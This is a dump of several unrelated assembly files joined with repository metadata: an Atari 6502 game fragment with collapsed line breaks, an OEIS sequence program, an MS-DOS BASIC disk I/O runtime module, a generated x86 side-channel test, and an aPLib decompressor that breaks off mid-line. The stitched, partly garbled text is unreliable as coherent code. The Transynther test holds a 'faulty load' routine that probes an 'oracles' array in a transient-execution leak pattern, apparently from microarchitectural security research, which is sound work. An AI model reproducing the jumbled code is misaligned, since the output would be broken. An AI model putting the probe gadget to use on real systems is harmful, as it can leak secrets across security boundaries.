dxTableH,x sta dyTableL,x sta dyTableH,x sta xposTableL,x sta xposTableH,x sta yposTableL,x sta yposTableH,x sta memCycleTable,x inx cpx #maxBalls bne eXistenZclearLoop sta balleXistenZcatch dex ; X == maxBalls-1 txa eXistenZstackFill sta eXistenZstack+1,x dex txa bne eXistenZstackFill ldy #maxBalls sty eXistenZstackPtr ;sty clearPtr ;OK, one ball starts! ;ldy eXistenZstackPtr lda eXistenZstack,Y dey sty eXistenZstackPtr tax jsr randomStart ;just one random pixxxel ;previously the whole band of ballz ;VBI mva #screenWidth/2 racquetPos vmain vint,7 lda #$80 ;+GTIACTLBITS sta GTIACTL sta GTICTLS mva #1 colour rts ;-------------------------------------------------- drawBricks ;-------------------------------------------------- ; solid maxBrickLines field ; for x=margin to screenWidth-margin: ; for y=margin to maxBrickLines+margin: ; fatplot(x,y) mva #8 colour mva #margin*2 ypos drawBricksLoopY mva #margin*3 xpos drawBricksLoop jsr fatplot inc xpos lda xpos cmp #screenWidth-margin*3 bne drawBricksLoop inc ypos lda ypos cmp #maxBrickLines+margin*2 bne drawBricksLoopY rts ;-------------------------------------------------- randomStart ; X - ball number ;-------------------------------------------------- lda #1 sta balleXistenZ,x ;randomize margin $ff-margin lda #40 sta xposTableH,x ;randomize margin*2+maxBrickLines maxLines-margin*4 lda #30 sta yposTableH,x ; random initial speed and direction ;randomize 0 maxSpeed-1 lda #1 ;easy start sta dxTableH,x lda random sta dxTableL,x ;randomize 1 maxSpeed-1 ;dy can not be too small or the game would take forever lda #-1 ;easy start sta dyTableH,x lda #1 sta dyTableL,x rts ;-------------------------------------------------- lineAdrL :margin .byte <marginLine ;8 lines of margin space :maxLines .byte <(display+40*#) ;:margin .byte <marginLine ;8 lines of margin space :256-maxLines-1*margin .by <marginLine; (display+40*#) ;just to let the plot smear on full .byte ypos lineAdrH :margin .byte >marginLine :maxLines .byte >(display+40*#) ;:margin .byte >marginLine :256-maxLines-1*margin .by >marginLine; (display+40*#) ;just to let the plot smear on full .byte ypos ; $E000 is an address in ROM - the trick to avoid spawning new balls! bittable .byte %11110000 .byte %00001111 RNColtable ; Right Nibble Colour Table .byte %00000000 .byte %00000001 .byte %00000010 .byte %00000011 .byte %00000100 .byte %00000101 .byte %00000110 .byte %00000111 .byte %00001000 LNColtable ; Left Nibble Colour Table .byte %00000000 .byte %00010000 .byte %00100000 .byte %00110000 .byte %01000000 .byte %01010000 .byte %01100000 .byte %01110000 .byte %10000000 debittable .byte %00001111 .byte %11110000 dxTableL :maxBalls .byte 0 dxTableH :maxBalls .byte 0 dyTableL :maxBalls .byte 0 dyTableH :maxBalls .byte 0 ; xpos and ydaw are "decimal" parts of static point precision .word xposTableL :maxBalls .byte 0 ; "fractional" part xposTableH :maxBalls .byte 0 ; "fractional" part yposTableL :maxBalls .byte 0 ; yposTableH :maxBalls .byte 0 ; ;ball position memory tables - the ball trace works like a "snake" ; (one set, one erased) ; there are "maxMemory" number of tables, "maxballs" length each ; too bad their addressess are not known in advance, ; so a short subrourine must calculate them and place to XposMemTableAdrL, etc. balleXistenZ :maxBalls .byte 0 ; 0-dead, 1-alive! balleXistenZcatch .byte 0 ; catch last ball byte eXistenZstack ; goes from index [1..maxBalls]. maxBalls[0] is unused ; keeps the list of free slots for balls ; goes from down to top. ptr==0 means stack is empty (all balls playing) :maxBalls+1 .byte 0 xposMemTable :maxBalls*maxMemory .byte 0 yposMemTable :maxBalls*maxMemory .byte 0 ;addressess of the tables with xposMemTableAdrL :maxMemory .byte 0 xposMemTableAdrH :maxMemory .byte 0 yposMemTableAdrL :maxMemory .byte 0 yposMemTableAdrH :maxMemory .byte 0 ;table for keeping the count on the last position to be deleted from the "snake" memCycleTable :maxBalls .byte 0 statusBar dta d"rc$" hexDump dta d" dx$" dxDisp dta d" dy$" dyDisp dta d" balls$" ballDisp dta d" " marginLine :40 .byte 0 RUN main
19.231649
105
0.611431
0762dbd51ece7da17f66eb763d30a7e71e1b7d04
442
asm
Assembly
oeis/172/A172265.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/172/A172265.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/172/A172265.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A172265: Partial sums of A024810(n) = floor(2^(n+1)/Pi). ; Submitted by Jon Maiga ; 1,3,8,18,38,78,159,321,646,1297,2600,5207,10422,20852,41712,83433,166876,333762,667534,1335078,2670166,5340342,10680695,21361402,42722816,85445645,170891304,341782622,683565259,1367130534,2734261085,5468522187,10937044391 lpb $0 mov $2,$0 sub $0,1 seq $2,24810 ; a(n) = floor( tan(m*Pi/2) ), where m = 1 - 2^(-n). add $1,$2 lpe mov $0,$1 add $0,1
34
223
0.701357
6dbe96ccd6a80357750e886dd2d918a73e899a30
16,995
asm
Assembly
45/runtime/rt/dkstmt.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/runtime/rt/dkstmt.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/runtime/rt/dkstmt.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
TITLE DKSTMT - Disk I/O Interfaces page 56,132 ;*** ;DKSTMT - Disk I/O Interfaces ; ; Copyright <C> 1986, Microsoft Corporation ; ;Purpose: ; This module contains disk I/O interfaces for BASIC statements. ; ; This module came from iodisk.asm, which had been split into three ; modules, -- diskio.asm, dkopen.asm and fileio.asm. Diskio.asm ; contains all drivers for disk I/O except disk open and close. ; Disk open is in dkopen.asm. This module contains interfaces for ; file I/O statements. ; ;BASIC Syntax mapping to included runtime entry points: ; ;- FILES Statement: ; ; FILES Statement: ; ; FILES [filespec] ; | ; B$FILS ; ;- KILL Statement: ; ; KILL filespec ; | ; B$KILL ; ;- LOCK Statement: ; ; LOCK [#]filenum [{, record} | [start] TO end] ; | ; B$LOCK ; ;- NAME Statement: ; ; NAME oldname AS newname ; | ; B$NAME ; ;- RESET Statement: ; ; RESET ; | ; B$REST ; ;- UNLOCK Statement: ; ; UNLOCK [#]filenum [{, record} | [start] TO end] ; | ; B$LOCK ; ;****************************************************************************** INCLUDE switch.inc INCLUDE rmacros.inc ;Runtime Macro Defintions ;Code segmetns useSeg DK_TEXT useSeg ER_TEXT useSeg NH_TEXT useSeg RT_TEXT ;Data segments useSeg CONST useSeg _DATA useSeg _BSS INCLUDE seg.inc INCLUDE ascii.inc INCLUDE baslibma.inc INCLUDE devdef.inc INCLUDE files.inc INCLUDE idmac.inc INCLUDE messages.inc INCLUDE rtps.inc INCLUDE string.inc SUBTTL local constant definitions page sBegin CONST externB b$EightSpaces ; buffer of 8 spaces staticB DirStr,"<DIR> " sEnd CONST sBegin _DATA sEnd _DATA sBegin _BSS externB b$PATHNAM ; defined in GWINI.ASM externB b$Buf2 ; defined in GWINI.ASM b$PATHNAM2 EQU b$Buf2 externW b$PN_NAME sEnd _BSS SUBTTL code externals page sBegin DK_TEXT externNP B$GET_PATHNAME externNP B$GET_CUR_DIR externFP B$PSI4 externNP B$PUTS externNP B$OUTCNT externNP B$$WCHT externNP B$$TCR externNP B$TTY_GPOS externNP B$TTY_GWID externNP B$CLOSF externNP B$CHKFOPEN externNP B$DOS3CHECK ;check for >= DOS 3.00 externNP B$MUL32 sEnd DK_TEXT sBegin NH_TEXT externNP B$STDALCTMP externNP B$LHFDBLOC sEnd NH_TEXT sBegin ER_TEXT externNP B$PUTNUM ; output message externNP B$ERR_FC externNP B$ERR_BFN externNP B$ERR_BRN externNP B$ERR_FAE externNP B$ERR_FNF externNP B$ERR_IFN externNP B$ERR_ACD externNP B$ERR_FWP externNP B$ERR_AFE externNP B$ERR_PNF externNP B$ERR_RAD sEnd ER_TEXT sBegin RT_TEXT sEnd RT_TEXT PAGE assumes CS,DK_TEXT sBegin DK_TEXT ;*** ;B$KILL - KILL filename ; ;Purpose: ; ;Entry: ; fname = filename sdesc ; ;Exit: ; ;Uses: ; Per convention ; ;Exceptions: ; B$ERR_FNF -- for file not found ; B$ERR_ACD -- for access denied ; B$ERR_FAO -- for file already open ; ;****************************************************************************** cProc B$KILL,<FAR,PUBLIC>,<SI,DI,ES> parmSD fname cbegin PUSH DS ; set ES=DS for string operations POP ES MOV BX,fname ; get *sd of filename MOV DI,OFFSET DGROUP:b$PATHNAM ; Where to put the pathname CALL B$GET_PATHNAME ; generate pathname, checking for errors ; sets ES = DS CALL B$STDALCTMP ;delete temporaries CALL SearchNoDir ; find first file, or give "file not found" KILL_NEXT: ; DI --> pointer to processed filename PUSH DI ; save pathname buffer address MOV DI,b$PN_NAME ; DI = address past last "\" in pathname ; (filename.ext field of pathname) mov si,offset dgroup:b$PATHNAM2+30 ; Where dos put the filename ; store name into the name field of pathname dkk22: lodsb ;get a byte from the filename stosb ;store it into the pathname or al,al ;end ? jnz dkk22 ;no pop di ;--> pathname CALL B$CHKFOPEN ; Check for conflict with open files ; (doesn't return if error) ; delete the link mov dx,di ; DX = address of pathname to delete CALLOS unlink,,,,dx JB KILL_ERR ; give proper error message CALLOS FINDN ;find next JNB KILL_NEXT ; found next, continue cEnd KILL_ERR: CMP AX,ERRACD ;test if access error JNE ERFNF ; if not, then KILL defaults to file not ; found error JMP B$ERR_ACD ;treat as access error ERFNF: JMP B$ERR_FNF ; File not found ;*** ; B$NAME - Name statement ; ;Purpose: ; Rename a file ; ;Entry: ; oldname = Name of existing file ; newname = name to change to ; ;Exit: ; ;Uses: ; Per convention ; ;Exceptions: ; B$ERR_FAE if newname already exists. ; ;****************************************************************************** cProc B$NAME,<FAR,PUBLIC>,<ES,SI,DI> parmSD oldname parmSD newname cBegin PUSH DS ; set ES=DS POP ES GetpSD BX,newname MOV DI,OFFSET DGROUP:b$PATHNAM2 CALL NAME_COMMON ; do common processing for second name GetpSD BX,oldname ; source pathname sdesc MOV DI,OFFSET DGROUP:b$PATHNAM CALL NAME_COMMON ; do common processing for first name MOV DX,OFFSET DGROUP:b$PATHNAM ;source MOV DI,OFFSET DGROUP:b$PATHNAM2 ;destination CALLOS RENAME JC NAME_ERR cEnd NAME_ERR: CMP AL,ERRFNF ; file not found? JE ERFNF ; brif so CMP AL,ERRPNF ; path not found? JE ERPNF ; brif so CMP AL,ERRACD ; access denied? JE ERFAE ; brif so -- File already exists CMP AL,ERRNSD ; not same device? JE ERRAD ; brif so -- Rename across disks ; default to Illegal function call error ; for NAME if not one of the above. ERFC: JMP B$ERR_FC ; Illegal function call ERFAE: JMP B$ERR_FAE ; File already exists ERPNF: JMP B$ERR_PNF ; Path not found ERRAD: JMP B$ERR_RAD ; Rename across disks ERBFN: JMP B$ERR_BFN ; Bad file name ERCFNF2: JMP SHORT ERFNF ; give "file not found" error ;*** ; NAME_COMMON - common processing. Added as part of [14]. ; ;Purpose: ; Common processing for each filename of B$NAME. ; ; Algorithm: ; call B$GET_PATHNAME ; if (wildcards in filename) then error ; deallocate the string temp ; if (file already open) then error ; ;Entry: ; DI = *space for pathname ; BX = pointer to user-specified filename string descriptor ; ;Exit: ; DI = *processed pathname ; CX = length of pathname (including null byte) ; ;Uses: ; per convention ; ;Preserves: ; ;Exceptions: ; B$ERR_BFN -- for bad file name ; B$ERR_FAO -- for file already open ; ;****************************************************************************** NAME_COMMON: CALL B$GET_PATHNAME ; Scan file name ; sets ES = DS cCall B$STDALCTMP ; deallocate string temp TEST AL,FN_WILD ; wildcards in filename? JNZ ERBFN ; brif so -- error ; [DI] = processed pathname ; [CX] = number of bytes in pathname JMP B$CHKFOPEN ; check for file already open and return ; (doesn't return if error) ;*** ; Search/SearchNoDir - search for file ; ;Purpose: ; Search for files ;Entry: ; b$PATHNAM has pathname to search for ;Exit: ; Conditions after DOS search function: ; b$PATHNAM2 has directory entry for first matching file ; DX -> b$PATHNAM ; ZF ==> file found, NZ ==> error ; ;Uses: ; AX,CX,DX ; ;Preserves: ; ;Exceptions: ; ;****************************************************************************** Search: mov cx,ATTR_SUBDIR ; Search attributes SKIP 2 ; eat the XOR and fall into common code cProc SearchNoDir,<NEAR> ; no directory cBegin xor cx,cx ;no search attributes (files only) MOV DX,OFFSET DGROUP:b$PATHNAM2 CALLOS BUFF ;Set buffer address MOV DX,OFFSET DGROUP:b$PATHNAM ; Address of pathname to search CALLOS FINDF ; Use new one JC ERCFNF2 ; brif error -- file not found cEnd SUBTTL B$REST - Reset statement PAGE ;*** ; B$REST - Reset statement ; ;Purpose: ; Runtime entry. Close all open files. ; ;****************************************************************************** cProc B$REST,<FAR,PUBLIC,FORCEFRAME> cBegin CALL B$CLOSF ;Close all files CALLOS GDRV ;Get drive number PUSH AX CALLOS REST ;Restore POP AX MOV DL,AL CALLOS SDRV ;Set drive number cEnd SUBTTL FILE interface page newlin: ;moved here from below CALL B$TTY_GPOS XCHG AL,AH ADD AL,18 ;Position after next file name CALL B$TTY_GWID CMP AL,AH RET ;*** ;B$FILS - FILES Statement ; ;Purpose: ; Print a listing of all files in the current directory, which match the given ; string pattern ; ;Input: ; fname = filename sd ; ;Output: ; None ; ;Modifies: ; Per convention ; ;Exceptions: ; Control could be transfered to error code, such as B$ERR_FNF ; ;****************************************************************************** cProc B$FILS,<FAR,PUBLIC>,<ES,DI,SI> parmW fname cBegin PUSH DS ; set ES=DS for string operations POP ES MOV BX,fname MOV DI,OFFSET DGROUP:b$PATHNAM call B$GET_PATHNAME ; convert to standard pathname format CALL B$STDALCTMP ;delete string if temp PUSH DI ; save pathname buffer address MOV AX,[DI] ; load drive letter and colon into AX MOV DI,OFFSET DGROUP:b$PATHNAM2 ; buffer for current directory PUSH DI ; save buffer address (for printing) STOSW ; store drive letter and ":" into buffer SUB AX,':' SHL 8 + 'A' - 1 ; convert AX to drive number (1-26) XCHG AX,DX ; DX = drive number CALL B$GET_CUR_DIR ; store current directory path for this ; drive into buffer, after the drive letter ; print the current directory for specified drive POP AX ; AX = buffer offset PUSH DX ; save drive number MOV DX,DS ; DX = buffer segment CALL B$PUTS ; print the null-terminated buffer CALL B$$TCR ; print a CR ; add "*.*" to the pathname if necessary ; CX and DX preserved from above POP DX ; restore drive number POP DI ; restore pathname buffer address PUSH DX ; save drive number for free space check ADD DI,CX ; one past null byte DEC DI ; DI = address of null byte CMP DI,b$PN_NAME ; does pathname end with a "\"? JNZ NO_ADD_EXT ; brif not -- don't add the extention MOV AX,".*" ; add "*." to the pathname STOSW MOV AX,"*" ; add "*0" to the pathname STOSW NO_ADD_EXT: CALL Search ; search for first file with this name ; or give "file not found" d2off: mov si,offset dgroup:b$PATHNAM2+30 ; name mov cx,8 mov dx,"." call outnam mov cx,4 xor dx,dx call outnam mov si,offset dgroup:b$EightSpaces cmp byte ptr b$PATHNAM2+21,ATTR_SUBDIR ; check for directory attr jne d2space mov si,offset dgroup:DirStr d2space: mov cx,6 ; print 6 chars CALL B$OUTCNT ; print CX bytes call newlin jl findn call B$$TCR findn: callos findn jnb d2off CALL B$$TCR ; list of files done -- output a CR POP DX ; get back drive number CALLOS FREES ;get disk free space mul cx ;[ax]=bytes/sect*sect/alloc mul bx ;[dxax]=[ax]*free alloc units PUSH DX ; pass the I4 PUSH AX call B$PSI4 ; and output that MOV AX,MS_BYTESFREE ;output "Bytes free" cCall B$PUTNUM ;output the message cEnd outnam: mov al," " cmp byte ptr[si],dh ;end of string? je atend cmp byte ptr[si],dl ;possible end of name je atend lodsb atend: call B$$WCHT ;write char loop outnam ret page SUBTTL LOCK/UNLOCK interfaces page ERCFNF: JMP B$ERR_FNF ;file not found ERCAFE: JMP B$ERR_AFE ;advanced feature ;*** ;B$LOCK -- LOCK/UNLOCK statement interface ;void B$LOCK (I2 channel, I4 first_rec, I4 last_rec, U2 mode) ; ;Purpose: ; Lock or unlock an opened file according to the value of mode. The ; file must be opened using the new OPEN syntax with the lock clause, ; and DOS version must be 3.0 or above;otherwise a runtime error will ; occur. Between 2.0 and 3.0, the range of record number is slightly ; different. In 2.0, a 24-bit record number is supported, whereas a ; 31-bit record number is supported. ; ; Note: BASICA 3.2 supports 32-bit record number. ; ; BASCOM 2.0 uses two separate interfaces, $ULK & $LK0, for UNLOCK and ; LOCK statement respectively. In BASCOM 3.0, a single interface is ; used with mode containing valuable information. The beauty of the mode ; is that the first bit tells whether it is a lock or an unlock, and the ; second bit tells whether it is to lock/unlock the whole file or not. ; ; The syntax for LOCK/UNLOCK is as follows: ; LOCK/UNLOCK [#]channel [,[first-rec] [TO last-rec]] ; ; B$CHAN WILL NOT be called prior to B$LOCK, this routine has to ; check the file is opened or not. ; ; The 'first-rec' is the 'from' record # and 'last-rec' is the 'to' ; record #. The default 'first-rec' is 1 and the default 'last-rec' ; is the same record number as the 'first-rec.' For example, ; "LOCK #1, TO 3" will generate first=1, last=3 & mode=2, and ; "UNLOCK #1, 5" will generate first=5, last=5 & mode=3. ; ; NOTE: Currently, record number is only meaningful to the random file. ; Sequential file is always lock/unlocked the whole file, and ; there is no range check of 'first-rec' or 'last-rec' for a ; sequential file. (the compiler or the interpreter parser ; does check whether the parameter is a numerical type.) ; ; The low order byte of mode may contain the following values according ; to different situations (the high order word should wlays be IGNORED, ; as the interpeter uses it): ; ; mode = 0 -- lock entire file ; mode = 2 -- lock from first to last ; ; mode = 1 -- unlock entire file ; mode = 3 -- unlock from first to last ; ; The reason is illustrated as the following bit map. ; mode: ; _________________________________ ; | 0 | 0 | 0 | 0 | 0 | 0 | X | Y | ; --------------------------------- ; MSB LSB ; where: ; X is used to represent whether to lock/unlock the whole file, and ; Y is used to decide whether it is a lock or is an unlock. ; ; The runtime may then use one AND, instead of one AND & one SHR, before ; call DOS lock/unlock function. (The value needed in AL is 0 for lock ; and 1 for unlock. Refer to the next paragraph.) ; ; The DOS function call for lock/unlock a file needs: ; [AH] = 5CH ; [AL] = 0 -- lock ; 1 -- unlock ; [BX] = file handle ; [CX] = offset high ; [DX] = offset low ; [SI] = length high ; [DI] = length low ;Entry: ; Parameters are pushed in stack ; int channel ; long int first_rec ; long int last_rec ; ushort mode ;Exit: ; none ;Uses: ; none ;Exceptions: ; ;******************************************************************************* cProc B$LOCK,<PUBLIC,FAR>,<SI,DI> ;push di,si ParmW Channel ;I2 file number ParmD First ;I4 first record number ParmD Last ;I4 last record number ParmW Mode ;U2 mode cBegin ;set up stack frame cCall B$DOS3CHECK ;must be DOS 3.0 or above JB ERCAFE ;Brif not, give "advanced feature" MOV BX,Channel ;get file number CALL B$LHFDBLOC ;NZ then SI has the pointer to FDB JZ ERCIFN ; Brif not, give "bad file number" FDB_PTR ES,SI,SI ;(ES:)[SI] = *FDB MOV BX,FileDB.FD_HANDLE ; get file handle in BX PUSH BX ;save file handle TEST Mode,LOCK_1stToLast ; test the "entire file" bit JZ LockEntire ; jump if we want to lock it all TEST FileDB.FD_MODE,MD_RND+MD_BIN ; is opened for random or binary ? JNZ LockOffset ; Brif yes, record number is meaningful LockEntire: XOR CX,CX ;starting record MOV DX,CX ;(0-relative) MOV SI,CX ;offset DEC SI ;SI=0FFFFh MOV DI,SI ;lock the whole file JMP SHORT LockFile ;go lock it ERCIFN: JMP B$ERR_IFN ; bad file number LockOffset: MOV CX,Off_First ; get first record number low MOV DX,Seg_First ; get first record number high OR DX,DX ; negative number? JS ERCBRN ; Brif yes, give "bad record number" SUB CX,1 ;decrement one, set carry if not big enough SBB DX,0 ;if CY ([DX|CX] = 0), then give error PUSH CX ;save 0-relative first rec# low PUSH DX ;save 0-relative first rec# high JB ERCBRN ;give "bad record number" MOV AX,CX ;get a copy of rec# low OR AX,DX ;is 0 ? MOV AX,FileDB.FD_VRECL ; [AX] = multiplicant (also used below) JZ LockLen ;Brif yes, no translate needed, to get length PUSH AX ;save multiplicand cCall B$MUL32 ;[DX|CX]=[DX|CX]*[AX], if CY then overflow ; generates Bad record number on overflow POP AX LockLen: POP SI ;get first 0-relative first rec# high POP DI ;get first 0-relative first rec# low PUSH CX ;push low offset PUSH DX ;push high offset MOV CX,Off_Last ; get Second record number low MOV DX,Seg_Last ; get Second record number high MOV BX,CX OR BX,DX ; Make sure non-zero JZ ERCBRN OR DX,DX ; negative number? JS ERCBRN ; Brif yes, give "bad record number" SUB CX,DI ;calculate how many records SBB DX,SI ;[DX|CX]= second# - (first# - 1) JB ERCBRN ; Brif second > first, give bad record num ; [AX] = multiplicant, set up above... cCall B$MUL32 ;[DX|CX]=[DX|CX]*[AX], if CY then overflow ; generates Bad record number on overflow MOV DI,CX ;DI=length low MOV SI,DX ;SI=length high POP CX ;CX=offset high POP DX ;DX=offset low LockFile: POP BX ;get back file handle MOV AX,Mode ;get mode AND AL,1 ;lock or unlock CALLOS LOCKING,ULKERR ;go lock it cEnd ;pop si,di and exit to caller ULKERR: CMP AX,ERRIVH ;invalid handle ? JZ ERCIFN ;bad file number JMP B$ERR_FWP ;now "Permission Denied" ERCBRN: JMP B$ERR_BRN ; bad record number cEnd sEnd DK_TEXT END
23.869382
80
0.67308
df2184ba8f59cb147b34e115fd2313ae7f506a11
4,050
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_346.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_346.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_346.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %rcx push %rdi push %rsi lea addresses_UC_ht+0x18623, %rsi lea addresses_WT_ht+0x18923, %rdi nop nop nop cmp $19897, %r15 mov $88, %rcx rep movsw nop nop add $62897, %r13 pop %rsi pop %rdi pop %rcx pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %rax push %rbp push %rdx // Faulty Load lea addresses_RW+0xf523, %r10 nop dec %rbp movb (%r10), %al lea oracles, %rdx and $0xff, %rax shlq $12, %rax mov (%rdx,%rax,1), %rax pop %rdx pop %rbp pop %rax pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': True, 'type': 'addresses_WT_ht'}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
66.393443
2,999
0.664198
9e41d31996217c2ceecda1d523c37abfead7050e
7,116
asm
Assembly
asm/x86/aplib_x86_fast.asm
uniabis/apultra
85e019447213805881fbcee97d2597971247ef46
[ "Zlib", "CC0-1.0" ]
79
2019-11-04T07:04:13.000Z
2022-03-24T17:48:15.000Z
asm/x86/aplib_x86_fast.asm
uniabis/apultra
85e019447213805881fbcee97d2597971247ef46
[ "Zlib", "CC0-1.0" ]
9
2019-12-22T20:51:50.000Z
2021-09-14T17:28:05.000Z
asm/x86/aplib_x86_fast.asm
uniabis/apultra
85e019447213805881fbcee97d2597971247ef46
[ "Zlib", "CC0-1.0" ]
13
2019-12-08T23:41:33.000Z
2021-06-08T05:12:26.000Z
; aplib_x86_fast.asm - speed-optimized aPLib decompressor for x86 - 188 bytes ; ; Copyright (C) 2019 Emmanuel Marty ; ; This software is provided 'as-is', without any express or implied ; warranty. In no event will the authors be held liable for any damages ; arising from the use of this software. ; ; Permission is granted to anyone to use this software for any purpose, ; including commercial applications, and to alter it and redistribute it ; freely, subject to the following restrictions: ; ; 1. The origin of this software must not be misrepresented; you must not ; claim that you wrote the original software. If you use this software ; in a product, an acknowledgment in the product documentation would be ; appreciated but is not required. ; 2. Altered source versions must be plainly marked as such, and must not be ; misrepresented as being the original software. ; 3. This notice may not be removed or altered from any source distribution. segment .text bits 32 ; --------------------------------------------------------------------------- ; Decompress aPLib data ; inputs: ; * esi: compressed aPLib data ; * edi: output buffer ; output: ; * eax: decompressed size ; --------------------------------------------------------------------------- %ifndef BIN global apl_decompress global _apl_decompress %endif ; uint32_t apl_decompress(const void *Source, void *Destination); %macro apl_get_bit 0 ; read bit into carry add al,al ; shift bit queue, and high bit into carry jnz %%gotbit ; queue not empty, bits remain lodsb ; read 8 new bits adc al,al ; shift bit queue, and high bit into carry %%gotbit: %endmacro apl_decompress: _apl_decompress: pushad %ifdef CDECL mov esi, [esp+32+4] ; esi = aPLib compressed data mov edi, [esp+32+8] ; edi = output %endif ; === register map === ; al: bit queue ; ah: unused, but value is trashed ; bx: follows_literal ; cx: scratch register for reading gamma2 codes and storing copy length ; dx: match offset (and rep-offset) ; si: input (compressed data) pointer ; di: output (decompressed data) pointer ; bp: temporary value, trashed mov al,080H ; clear bit queue(al) and set high bit to move into carry xor edx, edx ; invalidate rep offset .literal: movsb ; read 